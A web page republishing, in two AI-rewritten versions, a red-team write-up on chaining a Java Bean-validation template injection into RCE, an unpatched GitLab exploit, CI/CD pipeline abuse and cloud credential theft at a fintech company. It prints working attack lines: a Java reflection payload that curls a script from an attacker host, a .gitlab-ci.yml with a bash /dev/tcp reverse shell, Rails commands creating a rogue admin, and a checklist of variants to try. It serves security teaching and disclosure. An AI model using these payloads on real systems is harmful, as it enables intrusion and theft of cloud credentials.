Skip to content
RCE Write-up Advanced

Red team: Journey from RCE to have total control of cloud infrastructure

A red teamer found a template injection in a Java API endpoint that led to remote code execution inside a restricted Docker container. From there they pivoted to an unpatched GitLab instance, abused its CI/CD pipeline to reach worker nodes, and extracted Kubernetes and cloud credentials, ultimately gaining control of the cloud infrastructure.

Quang Vo Follow

Published on mr-r3bot.github.io

In my latest red team engagement for a very large fintech company, I found a RCE bug and landed in a very restricted docker container environment. I thought that was as far as I can go but after 2-3 days keep pushing and finding solutions to escape container, I succeeded and that path eventually leads me to Cluster…

Quang Vo, on mr-r3bot.github.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This is a red team engagement against a very large fintech company. The main target was a Java web application whose API is used for creating orders and payments. The engagement started with a remote code execution bug in that application and ended with total control of the client's cloud infrastructure. The path in between ran through a restricted Docker container, a GitLab instance, a GitLab CI/CD pipeline, and secrets stored in environment variables on a GitLab worker pod.

The report's summary of the chain:

  • Attacker landed in a docker container by using RCE bug in a web application.
  • The container image was very restricted, only microdnf was installed.
  • Attacker found that he have access to a whole different subnet within the container, and found Gitlab instance's IP address
  • Attacker found Gitlab was unpatched and vulnerable to CVE-2021-22205
  • Attacker gain access to Gitlab and Gitlab database, then attacker uses Gitlab admin permission to create a repo and create a CI/CD pipeline to move into Gitlab worker instances
  • Within Gitlab worker's nodes, attacker found multiple secrets, files, API keys and kubeconfig included.

Setup

The researcher was pentesting the main application and had already done reconnaissance on the client's assets and infrastructure, which established that the majority of their web application assets are Java web applications. No GitLab account was available to the researcher, so any GitLab exploitation had to be unauthenticated. The GitLab exploit used was the researcher's own script for CVE-2021-22205, published at https://github.com/mr-r3bot/Gitlab-CVE-2021-22205.

Finding it

While pentesting the main application, the researcher found an API endpoint:

POST https://redacted.com/v1/api/create

This API is used for creating orders and payment in their system. The body data looks like this:

JSON
{
"amount": "200",
"data": "",
"redirectUrl": ""
"orderInfo":"Could be anything"
"requestWith":"",
"signature":""
}

The researcher tried the basic payload classes first: SQLi, IDOR, XSS and similar. None of them worked. The payload that produced an interesting result was ${7*7}, a classic template injection probe. The server responded with:

{'responseTime': 109566832492, 'message': 'Bad format request.', 'resultCode': "x", 'subErrors': [{'field': 'signature', 'message': 'Invalid signature. Check raw signature before signed. Raw data before hash: accessKey=*****&amount=200&data=xxx&redirectUrl=https://[redacted].interactsh.com&orderId=random-idf&orderInfo=49'}]}

The orderInfo=49 in the echoed raw data is the result of evaluating ${7*7}. That confirmed two things at once: the back-end server is vulnerable to template injection, and the result of the injected expression is reflected back in the server's response. The researcher describes this as feeling like hitting the jackpot.

Exploitation

Step 1: RCE in the Java application

Knowing that the majority of the client's web application assets are Java web applications, the researcher used this payload to gain a reverse shell on the client system:

Java
${''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl <attacker_host:attacker_port>/backup.sh -o /tmp/backup.sh')

The server responded with:

{'responseTime': 1679566832492, 'message': 'Bad format request.', 'resultCode': "x", 'subErrors': [{'field': 'signature', 'message': 'Invalid signature. Check raw signature before signed. Raw data before hash: accessKey=*****&amount=2000&data=xxx&redirectUrl=https://[redacted].interactsh.com&orderId=random-idf&orderInfo=start Process[pid=4024, exitValue="not exited"]'}]}

The Process[pid=4024, exitValue="not exited"] in the response indicates that a new process was created and the command was executed. The payload reaches java.lang.Runtime through reflection on the empty string's class, invokes getRuntime(), and calls exec() with a curl command that downloads a script to /tmp/backup.sh.

Step 2: Enumerating the container network

After some basic enumeration of the environment the researcher had landed in, it turned out to be a very restricted environment within Kubernetes, with very limited access. The container image was restricted to the point that only microdnf was installed.

The researcher inspected the network interface access:

and explored the listening ports in the back-end system:

From this, the researcher established that the container could reach a 172.16.x.x subnet. By performing network scanning and vhost brute forcing, the researcher found an interesting subdomain: https://gitlab.company-domain.com.vn.

Step 3: Exploiting the GitLab instance

The researcher knew that GitLab instances have had many CVEs, but as an attacker without a GitLab account, an unauthenticated code execution bug was needed. CVE-2021-22205 was used for this, with the researcher's exploit script at https://github.com/mr-r3bot/Gitlab-CVE-2021-22205. The GitLab instance was unpatched and vulnerable. The researcher successfully compromised it:

At this point the researcher controlled two targets, the web server and the GitLab instance, but still did not have a stable foothold inside the company's infrastructure.

Step 4: Why the CI/CD pipeline is the next target

Control over the GitLab instance and its database is described as every attacker's dream, because of how GitLab CI/CD pipelines are configured. The reasoning in the report: because of the nature of CI/CD pipelines, GitLab requires DevOps engineers to put in secrets such as Google service accounts with high permissions or a lot of important secret keys. During the CI/CD process a new pod has to be spawned to pull the image of the source code to run tests, or for any kind of DevOps operation that is configured. To spawn a new pod, a secret key or a service account with high permission in the Kubernetes environment has to be configured. If those are not stored securely, an attacker who compromises the CI/CD pipeline can access a lot of sensitive data. With that in mind, the researcher aimed to gain access to GitLab worker instances.

Step 5: Accessing the GitLab database and enabling password login

Access to the GitLab database was obtained through the Rails console:

Bash
gitlab-rails console

Inside gitlab-rails console, the researcher checked the GitLab settings and found that password_authentication_enabled_for_web: false. Basic authentication with username and password was disabled; the instance was configured to log in via SSO only.

This was a problem. The RCE on the web server did not give a stable foothold, because of the nature of Kubernetes: pods are spawned and die according to their scaling configuration, so no kind of persistence could be installed on that target. Pivoting to the GitLab instance was a good start, but the default git user in the system also has very limited permissions, so persistence could not be installed there either.

After researching methods to maintain access for a few days, the researcher settled on abusing the GitLab CI/CD pipeline: a cron job can be created in GitLab and made to execute any scripts placed in the .gitlab-ci.yml file. Because basic authentication was disabled, creating a new admin user was not enough on its own, since there was no way to log in. A blog post (https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/gitlab#gitlab-rails) showed that password_authentication_enabled_for_web can be edited to true to enable basic authentication.

With database access, the steps to gain access to the GitLab CI/CD pipeline were:

  1. Create a new user with admin permission:

    Ruby
    irb(main):003:0 > user = User.create(:username => 'snovvcrash', :password => 'Passw0rd!', :password_confirmation => 'Passw0rd!', :admin => true, :name => 'snovvcrash', :email => '[redacted]')
    
  2. Log in to GitLab with the admin account just created, after enabling password_authentication_enabled_for_web:

    Ruby
    Gitlab::CurrentSettings.update!(password_authentication_enabled_for_web: true)
    
  3. Create a repository.

  4. Set up a pipeline CI/CD.

  5. Inject a bash script into the .gitlab-ci.yml file, specifically in the before_script hook.

The report notes that all of the actions above can be achieved by calling the GitLab REST API with an admin token.

Step 6: The pipeline payload and the worker foothold

The .gitlab-ci.yml used:

YAML
image: ubuntu:latest

before_script:

- bash -i >& /dev/tcp/${host}/${port} 0>&1

after_script:

- echo "After script section"

- echo "For example you might do some cleanup here"

deploy1:

stage: deploy

script:

- echo "Do your deploy here"

The before_script hook contains a bash reverse shell command. When the pipeline was triggered, the researcher gained access to the GitLab worker:

Step 7: Harvesting secrets from the worker pod

With a stable foothold inside the target, the researcher enumerated the environment looking for sensitive data. The first thing tried was $ env, and all the sensitive data turned out to be stored in environment variables. Extracting the environment variables in this pod gave access to everything in the Kubernetes environment, including:

  • Kubeconfig file
  • Docker auth file
  • gcloud spinnaker service account

The Google Container Registry push key found in the environment:

GCR_PUSH_KEY={
      "type": "service_account",
      "project_id": "redacted",
      "private_key_id": "redactedxxxx",
      "private_key": "xxxxx",
      "client_email": "[redacted]",
      "client_id": "redacted",
      "auth_uri": "https://accounts.google.com/o/oauth2/auth",
      "token_uri": "https://oauth2.googleapis.com/token",
      "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
      "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/spinnaker-gcs-account%40redacted.iam.gserviceaccount.com"
}

The kubeconfig:

YAML
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: xxx
    server: https://redacted/k8s/clusters/c-6vzqn
  name: spinnaker-prod
contexts:
- context:
    cluster: spinnaker-prod
    user: spinnaker-prod
  name: spinnaker-prod
current-context: spinnaker-prod
kind: Config
preferences: {}
users:
- name: spinnaker-prod
  user:
    token: kubeconfig-u-59lxx.c-6vzqn:[redacted]

Access to the Google Container Registry was obtained with the service account key:

Bash
$ gcloud auth activate-service-account [redacted] --key-file=GCR_PUSH_KEY-serviceaccount.json
$ Activated service account credentials for: [[redacted]]
Bash
gcloud container images list --repository=redacted

With that, the researcher had total control of the client's cloud infrastructure.

Step 8: Escaping to the worker nodes

With the kubeconfig file, escaping to a worker node was straightforward: create a privileged pod, and from there escape to the worker node. There are many methods to escape from a container once it is privileged; the researcher used the mount cgroup method, referencing https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/.

Further exploration of the client's assets was out of scope, so the researcher reported to the client after gaining access to the Kubernetes worker nodes and asked for permission to clone or exfiltrate the source code of the vulnerable web application in order to understand the root cause of the template injection bug. The client agreed, which allowed a better understanding of what had happened.

Root cause

The vulnerability was not a 100% template injection bug as the researcher had thought. It was a Bean validation bug. The vulnerable code:

Java
@Override
    public boolean isValid(String object, ConstraintValidatorContext constraintContext) {
        if ( object == null ) {
            return true;
        }

        boolean isValid;
        String message = object;
        if ( caseMode == CaseMode.UPPER ) {
            isValid = object.equals( object.toUpperCase() );
            message = message + " should be in upper case."
        }
        else {
            isValid = object.equals( object.toLowerCase() );
            message = message + " should be in lower case."
        }

        if ( !isValid ) {
            constraintContext.disableDefaultConstraintViolation();
	            constraintContext.buildConstraintViolationWithTemplate(message)
            .addConstraintViolation();

Because the attacker controls the variable message, a payload can be injected into the buildConstraintViolationWithTemplate() function, which finally gets evaluated and results in remote code execution. More details on this class of bug are linked in the report at https://securitylab.github.com/research/bean-validation-RCE/.

Impact

Starting from an API endpoint on a payment application, the researcher obtained code execution on the web server, then compromised an unpatched GitLab instance, then used GitLab admin access to run code in a CI/CD pipeline and land on a GitLab worker pod. From the worker's environment variables the researcher obtained a kubeconfig, a Docker auth file and a gcloud spinnaker service account, which gave access to the Google Container Registry, described as total control of the client's cloud infrastructure. The researcher also escaped to Kubernetes worker nodes by creating a privileged pod. The report does not give the exact permissions attached to the kubeconfig or the service account beyond what the researcher was able to do with them.

Fix

The report does not describe any remediation performed by the client. The root cause section points to the Bean validation code: user-controlled input is passed into buildConstraintViolationWithTemplate(), which evaluates it.

Variants to test

  • Send ${7*7} in any field that ends up in a validation error message. A positive result is the evaluated value (for example 49) appearing in the error response, as happened with orderInfo here.
  • Send a reflection payload such as ${''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('...')} in the same fields. A positive result is a process indicator such as Process[pid=..., exitValue="not exited"] in the response, or an outbound connection to your listener.
  • From any restricted container foothold, enumerate interfaces and listening ports, then scan and brute force vhosts on reachable subnets. A positive result is an internal service such as a GitLab instance on a different subnet.
  • Check internal GitLab instances for known unauthenticated CVEs such as CVE-2021-22205. A positive result is code execution on the GitLab host.
  • With GitLab console or database access, check password_authentication_enabled_for_web. If it is false, try setting it to true and creating an admin user, then use a .gitlab-ci.yml before_script hook to run a reverse shell. A positive result is a shell on a GitLab worker pod.
  • On any CI/CD worker, run env and look for kubeconfigs, registry credentials and cloud service account keys. A positive result is credentials that authenticate to the cluster or registry, as with the gcloud auth activate-service-account and gcloud container images list commands here.
  • With a kubeconfig, try creating a privileged pod and using the mount cgroup method to escape to the worker node. A positive result is a shell on the node rather than in the pod.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

A security researcher was hired by a very large fintech company (a company that handles money and payments) to attack its systems on purpose, to find weaknesses before real criminals do. This kind of authorised attack is called a red team engagement. The researcher started at the company's public website, found a way to run his own commands on one of its servers, and from there kept moving deeper: into a small, locked-down container, then into an internal GitLab server, then into the system that builds and tests the company's software, and finally into the company's cloud infrastructure, which he described as total control.

The report's summary of the chain:

  • Attacker landed in a docker container by using RCE bug in a web application.
  • The container image was very restricted, only microdnf was installed.
  • Attacker found that he have access to a whole different subnet within the container, and found Gitlab instance's IP address
  • Attacker found Gitlab was unpatched and vulnerable to CVE-2021-22205
  • Attacker gain access to Gitlab and Gitlab database, then attacker uses Gitlab admin permission to create a repo and create a CI/CD pipeline to move into Gitlab worker instances
  • Within Gitlab worker's nodes, attacker found multiple secrets, files, API keys and kubeconfig included.

Before going further, a few words on the words in that list, because the rest of the article leans on them.

  • RCE stands for remote code execution: a bug that lets someone who is not sitting at the machine make that machine run commands of their choosing. It is the difference between a stranger being able to read your shopping list and a stranger being able to type on your keyboard.
  • A container is a lightweight, sealed-off box on a server that holds one application and just enough of an operating system to run it. Think of it as a shipping container: standard size, easy to stack, and whatever is inside stays inside. Docker is the most common tool for building and running these boxes.
  • A subnet is a range of network addresses that belong together, like a street where all the houses share a postcode. Machines on one subnet can often talk to each other even when the outside world cannot reach them.
  • GitLab is a website where software teams keep their code and automate the work around it. It is similar in spirit to GitHub.
  • CVE-2021-22205 is the official catalogue number for a known security bug in GitLab. CVEs are like recall notices for software: a number, a description, and usually a fix.
  • A CI/CD pipeline is an automated assembly line. When a developer saves code, the pipeline fetches it, builds it, runs tests, and ships it. CI means continuous integration, CD means continuous delivery or deployment.
  • A worker is the machine that actually does the work on that assembly line.
  • A kubeconfig is a small settings file that lets a tool called kubectl log in to a Kubernetes cluster. Kubernetes is the system that runs and organises containers across many machines; think of it as the port authority that decides which container goes on which ship.

Setup

The researcher was pentesting the main application and had already done reconnaissance on the client's assets and infrastructure, which established that the majority of their web application assets are Java web applications. Reconnaissance means looking around before attacking: reading public pages, noting which technologies respond, and building a mental map. Java is a programming language, and a Java web application is a website whose server-side logic is written in it. No GitLab account was available to the researcher, so any GitLab exploitation had to be unauthenticated, meaning it had to work without logging in. The GitLab exploit used was the researcher's own script for CVE-2021-22205, published at https://github.com/mr-r3bot/Gitlab-CVE-2021-22205.

Finding it

While pentesting the main application, the researcher found an API endpoint:

POST https://redacted.com/v1/api/create

An API is the part of a website that other software talks to, rather than a human with a browser. When you tap a button in a mobile app and it sends your order to the company, it is usually talking to an API. An endpoint is one specific address on that API, like one counter in a large post office. POST is the type of request used when you are sending data to be created, as opposed to GET, which asks to read something.

This API is used for creating orders and payment in their system. The body data looks like this:

JSON
{
"amount": "200",
"data": "",
"redirectUrl": ""
"orderInfo":"Could be anything"
"requestWith":"",
"signature":""
}

This block is JSON, a text format for structured data. Each line is a field name in quotes, a colon, and a value. amount is the sum of money, redirectUrl is where the user is sent after paying, orderInfo is a free-text note, and signature is a cryptographic stamp that proves the request was not tampered with. The researcher sent this body to the endpoint to see how the server reacted.

The researcher tried the basic payload classes first: SQLi, IDOR, XSS and similar. A payload is the malicious input you send. SQLi (SQL injection) is tricking a database by putting database commands into a form field. IDOR (insecure direct object reference) is changing an ID in a request, such as ?order=123 to ?order=124, to see someone else's data. XSS (cross-site scripting) is slipping JavaScript into a page so it runs in another user's browser. None of them worked.

The payload that produced an interesting result was ${7*7}, a classic template injection probe. A template is a page or message with blanks that get filled in by the server, for example Hello, ${name}. A template injection bug happens when the server treats user input as part of the template itself, so the blanks get filled with whatever the user typed, and the server evaluates it. ${7*7} is the simplest possible test: if the server is evaluating the input, it will compute 49. The server responded with:

{'responseTime': 109566832492, 'message': 'Bad format request.', 'resultCode': "x", 'subErrors': [{'field': 'signature', 'message': 'Invalid signature. Check raw signature before signed. Raw data before hash: accessKey=*****&amount=200&data=xxx&redirectUrl=https://[redacted].interactsh.com&orderId=random-idf&orderInfo=49'}]}

Line by line: responseTime is a timestamp, message says the request was rejected as badly formatted, resultCode is a short code, and subErrors is a list of detailed complaints. The one complaint is about the signature field: the server says the signature is invalid and helpfully prints the raw data it was checking. Inside that raw data, at the end, is orderInfo=49. The researcher had put ${7*7} into orderInfo, and the server echoed back 49. That is the arithmetic being performed. The interactsh.com address appears here as part of the data being signed.

The orderInfo=49 in the echoed raw data is the result of evaluating ${7*7}. That confirmed two things at once: the back-end server is vulnerable to template injection, and the result of the injected expression is reflected back in the server's response. The researcher describes this as feeling like hitting the jackpot.

Exploitation

Step 1: RCE in the Java application

Knowing that the majority of the client's web application assets are Java web applications, the researcher used this payload to gain a reverse shell on the client system:

Java
${''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl <attacker_host:attacker_port>/backup.sh -o /tmp/backup.sh')

A reverse shell is a connection from the victim machine back to the attacker's machine, giving the attacker a command prompt on the victim. It is called reverse because the victim reaches out, which usually slips past firewalls that block incoming connections.

Line by line: ${...} is the template blank being filled. '' is an empty string, and .class asks Java for the blueprint of that string. .forName('java.lang.Runtime') looks up a built-in Java class called Runtime, which is the part of Java that can start other programs. .getMethod('getRuntime') finds the method that hands out the single shared instance of that class. .invoke(null) calls it. .exec('curl ...') then runs the command inside the quotes. The command is curl, a tool for downloading things, fetching backup.sh from the attacker's host and port and saving it to /tmp/backup.sh on the victim. The angle brackets around attacker_host:attacker_port are placeholders for the researcher's own address and port.

The server responded with:

{'responseTime': 1679566832492, 'message': 'Bad format request.', 'resultCode': "x", 'subErrors': [{'field': 'signature', 'message': 'Invalid signature. Check raw signature before signed. Raw data before hash: accessKey=*****&amount=2000&data=xxx&redirectUrl=https://[redacted].interactsh.com&orderId=random-idf&orderInfo=start Process[pid=4024, exitValue="not exited"]'}]}

Same structure as before, but now orderInfo contains start Process[pid=4024, exitValue="not exited"]. A process is a running program on a computer, and a pid is its process ID, a number the operating system uses to keep track of it. exitValue="not exited" means the process was still running when the server printed this. The Process[pid=4024, exitValue="not exited"] in the response indicates that a new process was created and the command was executed. The payload reaches java.lang.Runtime through reflection on the empty string's class, invokes getRuntime(), and calls exec() with a curl command that downloads a script to /tmp/backup.sh. Reflection is a Java feature that lets code inspect and use other code by name at runtime, which is exactly what makes this payload possible.

Step 2: Enumerating the container network

After some basic enumeration of the environment the researcher had landed in, it turned out to be a very restricted environment within Kubernetes, with very limited access. Enumeration means listing what is there: users, files, network addresses, open ports. The container image was restricted to the point that only microdnf was installed. microdnf is a minimal package manager, the tool used to install software on some Linux systems; having only that means almost nothing else was available to work with.

The researcher inspected the network interface access:

This shows the network interface access in the container.

and explored the listening ports in the back-end system:

A port is a numbered door on a machine; a service that is waiting for connections is said to be listening on a port. This shows the listening ports explored in the back-end system.

From this, the researcher established that the container could reach a 172.16.x.x subnet. By performing network scanning and vhost brute forcing, the researcher found an interesting subdomain: https://gitlab.company-domain.com.vn. Network scanning means probing many addresses to see which ones answer. vhost brute forcing means trying many hostnames against one address, because a single web server can host many sites and decide which one to show based on the name you asked for. A subdomain is a name like gitlab.example.com under a main domain like example.com.

Step 3: Exploiting the GitLab instance

The researcher knew that GitLab instances have had many CVEs, but as an attacker without a GitLab account, an unauthenticated code execution bug was needed. CVE-2021-22205 was used for this, with the researcher's exploit script at https://github.com/mr-r3bot/Gitlab-CVE-2021-22205. The GitLab instance was unpatched and vulnerable. Unpatched means the fix for a known bug had not been applied. The researcher successfully compromised it:

This shows the compromised GitLab instance.

At this point the researcher controlled two targets, the web server and the GitLab instance, but still did not have a stable foothold inside the company's infrastructure. A foothold is a reliable way back in, something that survives a reboot or a restart.

Step 4: Why the CI/CD pipeline is the next target

Control over the GitLab instance and its database is described as every attacker's dream, because of how GitLab CI/CD pipelines are configured. The reasoning in the report: because of the nature of CI/CD pipelines, GitLab requires DevOps engineers to put in secrets such as Google service accounts with high permissions or a lot of important secret keys. DevOps is the practice of running and automating software delivery. A secret is any credential that grants access: a password, a key, a token. A service account is a non-human account used by software rather than a person, often with broad permissions because it has to do a lot of work.

During the CI/CD process a new pod has to be spawned to pull the image of the source code to run tests, or for any kind of DevOps operation that is configured. A pod is the smallest unit Kubernetes runs, usually one container plus its settings. An image is the packaged template from which containers are made. To spawn a new pod, a secret key or a service account with high permission in the Kubernetes environment has to be configured. If those are not stored securely, an attacker who compromises the CI/CD pipeline can access a lot of sensitive data. With that in mind, the researcher aimed to gain access to GitLab worker instances.

Step 5: Accessing the GitLab database and enabling password login

Access to the GitLab database was obtained through the Rails console:

Bash
gitlab-rails console

Rails is a framework for building web applications in the Ruby language, and GitLab is built on it. The console is an interactive prompt where you can type Ruby code and have it run inside the application, with full access to the application's data. Running gitlab-rails console on the GitLab server opens that prompt. It is the equivalent of being handed the master key to the filing cabinet.

Inside gitlab-rails console, the researcher checked the GitLab settings and found that password_authentication_enabled_for_web: false. Basic authentication with username and password was disabled; the instance was configured to log in via SSO only. SSO, single sign-on, means users log in through a central identity provider instead of with a password stored in GitLab itself.

This was a problem. The RCE on the web server did not give a stable foothold, because of the nature of Kubernetes: pods are spawned and die according to their scaling configuration, so no kind of persistence could be installed on that target. Persistence means a way to keep access after the current session ends. Pivoting to the GitLab instance was a good start, but the default git user in the system also has very limited permissions, so persistence could not be installed there either. Pivoting means using one compromised machine as a stepping stone to reach another.

After researching methods to maintain access for a few days, the researcher settled on abusing the GitLab CI/CD pipeline: a cron job can be created in GitLab and made to execute any scripts placed in the .gitlab-ci.yml file. A cron job is a task scheduled to run automatically at set times. .gitlab-ci.yml is the configuration file that tells GitLab what the pipeline should do. Because basic authentication was disabled, creating a new admin user was not enough on its own, since there was no way to log in. A blog post (https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/gitlab#gitlab-rails) showed that password_authentication_enabled_for_web can be edited to true to enable basic authentication.

With database access, the steps to gain access to the GitLab CI/CD pipeline were:

  1. Create a new user with admin permission:

    Ruby
    irb(main):003:0 > user = User.create(:username => 'snovvcrash', :password => 'Passw0rd!', :password_confirmation => 'Passw0rd!', :admin => true, :name => 'snovvcrash', :email => '[redacted]')
    

    This is Ruby code typed at the console. irb(main):003:0 > is the prompt. User.create(...) creates a new user record in the database. The arguments set the username, the password and its confirmation, :admin => true makes the account an administrator, and the name and email fill in the profile. The password and email shown here are the ones from the report.

  2. Log in to GitLab with the admin account just created, after enabling password_authentication_enabled_for_web:

    Ruby
    Gitlab::CurrentSettings.update!(password_authentication_enabled_for_web: true)
    

    Gitlab::CurrentSettings is the object holding the instance's settings. .update!(...) changes them, and the ! is a Ruby convention meaning the change is saved immediately. The setting being flipped is the one that had disabled password login.

  3. Create a repository.

  4. Set up a pipeline CI/CD.

  5. Inject a bash script into the .gitlab-ci.yml file, specifically in the before_script hook.

A repository is a project folder holding code and its history. A hook here is a named stage in the pipeline configuration that runs at a particular moment; before_script runs before the main script. The report notes that all of the actions above can be achieved by calling the GitLab REST API with an admin token. A REST API is a set of web addresses that let software perform actions, and a token is a string that proves who you are, like a temporary badge.

Step 6: The pipeline payload and the worker foothold

The .gitlab-ci.yml used:

YAML
image: ubuntu:latest

before_script:

- bash -i >& /dev/tcp/${host}/${port} 0>&1

after_script:

- echo "After script section"

- echo "For example you might do some cleanup here"

deploy1:

stage: deploy

script:

- echo "Do your deploy here"

This is YAML, a format where indentation shows structure. Line by line: image: ubuntu:latest says the pipeline should run inside a container built from the latest Ubuntu image. before_script: starts the list of commands to run first. The single command under it is bash -i >& /dev/tcp/${host}/${port} 0>&1. bash -i starts an interactive shell. /dev/tcp/${host}/${port} is a special Bash path that opens a network connection to the given host and port. >& sends the shell's output there, and 0>&1 sends its input to the same place. The result is a shell whose input and output travel over the network to the researcher's machine: a reverse shell. ${host} and ${port} are placeholders filled in with the researcher's address and port. after_script: holds commands that run afterwards, here two harmless echo lines that print text. deploy1: defines a job named deploy1, stage: deploy puts it in the deploy stage, and its script just prints a line.

The before_script hook contains a bash reverse shell command. When the pipeline was triggered, the researcher gained access to the GitLab worker:

This shows the access gained to the GitLab worker.

Step 7: Harvesting secrets from the worker pod

With a stable foothold inside the target, the researcher enumerated the environment looking for sensitive data. The first thing tried was $ env, and all the sensitive data turned out to be stored in environment variables. env is a command that prints every environment variable, which are named values a program inherits from its surroundings, often used to pass configuration and credentials. Extracting the environment variables in this pod gave access to everything in the Kubernetes environment, including:

  • Kubeconfig file
  • Docker auth file
  • gcloud spinnaker service account

A Docker auth file stores login details for container registries, the places images are kept. gcloud is Google's command-line tool for its cloud platform, and Spinnaker is a tool for releasing software, which here has its own Google service account.

The Google Container Registry push key found in the environment:

GCR_PUSH_KEY={
      "type": "service_account",
      "project_id": "redacted",
      "private_key_id": "redactedxxxx",
      "private_key": "xxxxx",
      "client_email": "[redacted]",
      "client_id": "redacted",
      "auth_uri": "https://accounts.google.com/o/oauth2/auth",
      "token_uri": "https://oauth2.googleapis.com/token",
      "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
      "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/spinnaker-gcs-account%40redacted.iam.gserviceaccount.com"
}

This is a Google service account key in JSON form. type says it is a service account. project_id names the Google cloud project. private_key_id and private_key are the identifier and the secret half of the key pair; the private key is what actually proves identity. client_email is the account's address. client_id is its identifier. The auth_uri, token_uri, auth_provider_x509_cert_url and client_x509_cert_url are the Google addresses used to obtain tokens and certificates. GCR stands for Google Container Registry, Google's store for container images.

The kubeconfig:

YAML
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: xxx
    server: https://redacted/k8s/clusters/c-6vzqn
  name: spinnaker-prod
contexts:
- context:
    cluster: spinnaker-prod
    user: spinnaker-prod
  name: spinnaker-prod
current-context: spinnaker-prod
kind: Config
preferences: {}
users:
- name: spinnaker-prod
  user:
    token: kubeconfig-u-59lxx.c-6vzqn:[redacted]

Line by line: apiVersion: v1 is the format version. clusters: lists the Kubernetes clusters this file knows about. The one cluster has a certificate-authority-data field, which is the certificate used to verify the server's identity, and a server address where the cluster's API lives. Its name is spinnaker-prod. contexts: pairs a cluster with a user, so tools know which credentials to use for which cluster; here the context is also named spinnaker-prod. current-context: spinnaker-prod says this is the default. kind: Config says this is a configuration file. preferences: {} is an empty settings block. users: lists the credentials; the user spinnaker-prod has a token, which is the string that authenticates to the cluster. Anyone holding this file can act as that user.

Access to the Google Container Registry was obtained with the service account key:

Bash
$ gcloud auth activate-service-account [redacted] --key-file=GCR_PUSH_KEY-serviceaccount.json
$ Activated service account credentials for: [[redacted]]

gcloud auth activate-service-account tells gcloud to log in as the named service account, using the key file given by --key-file. The second line is gcloud's confirmation that the credentials are now active.

Bash
gcloud container images list --repository=redacted

gcloud container images list asks the registry to list the images stored in the given repository. Being able to list them, with these credentials, is the proof that the account had access.

With that, the researcher had total control of the client's cloud infrastructure.

Step 8: Escaping to the worker nodes

With the kubeconfig file, escaping to a worker node was straightforward: create a privileged pod, and from there escape to the worker node. A privileged pod is a container that has been given far more power over the host machine than a normal container, close to root. There are many methods to escape from a container once it is privileged; the researcher used the mount cgroup method, referencing https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/. cgroup is a Linux feature that groups processes and limits their resources; the mount cgroup method abuses the way that feature is exposed inside a privileged container to reach the host.

Further exploration of the client's assets was out of scope, so the researcher reported to the client after gaining access to the Kubernetes worker nodes and asked for permission to clone or exfiltrate the source code of the vulnerable web application in order to understand the root cause of the template injection bug. Out of scope means outside what the engagement allowed. Exfiltrate means copy data out. The client agreed, which allowed a better understanding of what had happened.

Root cause

The vulnerability was not a 100% template injection bug as the researcher had thought. It was a Bean validation bug. Bean validation is a standard Java mechanism for checking that input meets rules, such as "this field must be upper case". The vulnerable code:

Java
@Override
    public boolean isValid(String object, ConstraintValidatorContext constraintContext) {
        if ( object == null ) {
            return true;
        }

        boolean isValid;
        String message = object;
        if ( caseMode == CaseMode.UPPER ) {
            isValid = object.equals( object.toUpperCase() );
            message = message + " should be in upper case."
        }
        else {
            isValid = object.equals( object.toLowerCase() );
            message = message + " should be in lower case."
        }

        if ( !isValid ) {
            constraintContext.disableDefaultConstraintViolation();
	            constraintContext.buildConstraintViolationWithTemplate(message)
            .addConstraintViolation();

Line by line: @Override marks a method that replaces one from a parent class. public boolean isValid(String object, ConstraintValidatorContext constraintContext) is the check itself: it takes the input object and a context for reporting errors, and returns true or false. if ( object == null ) { return true; } treats empty input as valid. boolean isValid; declares the result variable. String message = object; copies the user's input into a variable called message. The if ( caseMode == CaseMode.UPPER ) branch checks whether the input equals its own upper-case version, and if not, appends the text should be in upper case. to message. The else branch does the same for lower case. Finally, if ( !isValid ) runs when the check failed: disableDefaultConstraintViolation() turns off the standard error message, and buildConstraintViolationWithTemplate(message) builds a new error message from message, which is then added with addConstraintViolation().

Because the attacker controls the variable message, a payload can be injected into the buildConstraintViolationWithTemplate() function, which finally gets evaluated and results in remote code execution. In other words, the error message is treated as a template, and the template engine evaluates whatever is inside it, including ${7*7} and the Java reflection payload. More details on this class of bug are linked in the report at https://securitylab.github.com/research/bean-validation-RCE/.

Impact

Starting from an API endpoint on a payment application, the researcher obtained code execution on the web server, then compromised an unpatched GitLab instance, then used GitLab admin access to run code in a CI/CD pipeline and land on a GitLab worker pod. From the worker's environment variables the researcher obtained a kubeconfig, a Docker auth file and a gcloud spinnaker service account, which gave access to the Google Container Registry, described as total control of the client's cloud infrastructure. The researcher also escaped to Kubernetes worker nodes by creating a privileged pod. The report does not give the exact permissions attached to the kubeconfig or the service account beyond what the researcher was able to do with them.

Fix

The report does not describe any remediation performed by the client. The root cause section points to the Bean validation code: user-controlled input is passed into buildConstraintViolationWithTemplate(), which evaluates it.

Variants to test

  • Send ${7*7} in any field that ends up in a validation error message. A positive result is the evaluated value (for example 49) appearing in the error response, as happened with orderInfo here.
  • Send a reflection payload such as ${''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('...')} in the same fields. A positive result is a process indicator such as Process[pid=..., exitValue="not exited"] in the response, or an outbound connection to your listener.
  • From any restricted container foothold, enumerate interfaces and listening ports, then scan and brute force vhosts on reachable subnets. A positive result is an internal service such as a GitLab instance on a different subnet.
  • Check internal GitLab instances for known unauthenticated CVEs such as CVE-2021-22205. A positive result is code execution on the GitLab host.
